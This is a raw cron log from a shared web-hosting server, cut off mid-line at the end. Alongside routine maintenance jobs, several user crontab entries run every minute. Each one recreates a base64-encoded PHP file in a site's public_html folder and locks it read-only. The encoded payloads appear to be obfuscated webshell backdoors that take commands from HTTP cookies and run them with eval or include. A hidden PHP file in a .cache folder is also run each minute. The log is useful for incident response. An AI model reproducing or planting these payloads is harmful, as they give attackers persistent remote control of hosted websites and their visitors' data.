Jun  7 05:47:02 medusa CROND[16477]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:47:02 medusa CROND[16479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:47:02 medusa CROND[16485]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 05:47:02 medusa CROND[16486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:47:02 medusa CROND[16488]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:47:02 medusa CROND[16487]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:48:01 medusa CROND[18049]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:48:01 medusa CROND[18050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:48:01 medusa CROND[18051]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:48:01 medusa CROND[18052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:48:01 medusa CROND[18053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:48:01 medusa CROND[18057]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:48:01 medusa CROND[18054]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:48:01 medusa CROND[18059]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:48:01 medusa CROND[18055]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:48:01 medusa CROND[18060]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:48:01 medusa CROND[18066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:48:01 medusa CROND[18067]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:48:01 medusa CROND[18071]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:49:01 medusa CROND[19529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:49:01 medusa CROND[19530]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:49:01 medusa CROND[19531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:49:01 medusa CROND[19532]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:49:01 medusa CROND[19533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:49:01 medusa CROND[19534]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:49:01 medusa CROND[19535]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:49:01 medusa CROND[19536]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:49:01 medusa CROND[19537]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:49:01 medusa CROND[19541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:49:01 medusa CROND[19545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:49:01 medusa CROND[19543]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:50:01 medusa CROND[21066]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:50:01 medusa CROND[21067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 05:50:01 medusa CROND[21068]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:50:01 medusa CROND[21070]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 